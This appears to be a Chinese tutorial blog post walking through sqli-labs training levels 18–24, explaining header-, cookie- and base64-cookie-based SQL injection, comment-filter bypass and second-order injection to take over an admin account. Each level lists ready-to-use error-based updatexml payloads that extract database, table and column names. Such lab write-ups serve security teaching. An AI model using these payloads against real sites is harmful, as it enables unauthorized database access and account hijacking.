以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】

【less-18】

打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。

提交的是信息有user-Agent、IP、uname信息。

此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。

最后得到数据库名:security。

解题步骤:

bash 复制代码
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- +  

//第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + 

//第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-19】

与less-18,唯一的区别是,提交的信息不再是user-agent,而是referer。

解题步骤:

bash 复制代码
//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- +  


//第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + 

//第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-20】

从上图的信息可以看出登录之后,记录的信息是类似的,根据前两题的经验,尝试使用user-agent、referr、cookie信息进行注入。

经过验证将抓包的cookie进行更改

改为:

结果为:

其他步骤:

bash 复制代码
# 第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- + 

# 第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) -- +

【less-21】

通过抓包和源码分析可以得出:less-21使用的是cookie,而且还是base64加密的。

和Less-20注入原理相同,不同的是在修改cookie时,先转成base64的值。

先将注入编码进行base64编码。

然后再把编制的码代入到cookie中。

出现错误,是因为"-- +"在进行base64编码时出现了问题。

可以将"-- +" 替换为 '1' = '1

具体代码:

bash 复制代码
admin 'and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- +

#改为

admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1

#对应的base64编码

YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

调试结果:

其他步骤和Less-20类似,区别都是要变成base64加密。

bash 复制代码
# 第二步获取数据表名
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1

# 第三步获取数据表字段
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) and '1'='1

【less-22】

通过分析源码得知,基本Less-21相似,唯一的区别就是单引号变成了双引号。

解题步骤和Less-21相同。

bash 复制代码
#第一步获取数据库

admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1

# 第二步获取数据表名
admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1

# 第三步获取数据表字段
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails" ),0x7e),1) and "1"="1

结果:

【less-23】

less-23是一种GET方式的注入,使用之前的方式,发现无法注入,分析源码,得知之前用的 注释(-- 和# 都被替换了空)。

此时尝试一种新的注释方式: '1' ='1 以消除原本SQL语句中的引号。

解题方法:

bash 复制代码
# 获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

# 获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) or '1'='1

# 获取数据字段
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) or '1'='1

结果为:

【less-24】

less24是一个二次注入的案例。

分析源码:

可以看出只有用户名(username)没有用mysql_real_escape_string()对特殊字符进行转义。

解题步骤:

1.注册admin用户

2.登录并修改admin密码

3.尝试使用admin账号和新密码登录,破解管理员账号。

相关推荐
悟能不能悟3 小时前
redis的红锁
数据库·redis·缓存
YC运维3 小时前
Dockerfile实战案例详解
运维·docker·容器
一个响当当的名号3 小时前
一些主要应用和NAT
运维·服务器·网络
@小博的博客3 小时前
【Linux探索学习】第二篇Linux的基本指令(2)——开启Linux学习第二篇
linux·运维·学习
贝多芬也爱敲代码4 小时前
如何减小ES和mysql的同步时间差
大数据·mysql·elasticsearch
Mr_Meng_De4 小时前
AI环境下的网络安全人才的发展方向
安全·web安全
安当加密5 小时前
MySQL数据库透明加密(TDE)解决方案:基于国密SM4的合规与性能优化实践
数据库·mysql·性能优化
007php0075 小时前
某大厂跳动面试:计算机网络相关问题解析与总结
java·开发语言·学习·计算机网络·mysql·面试·职场和发展
JH30736 小时前
第七篇:Buffer Pool 与 InnoDB 其他组件的协作
java·数据库·mysql·oracle
板凳坐着晒太阳6 小时前
ClickHouse 配置优化与问题解决
数据库·clickhouse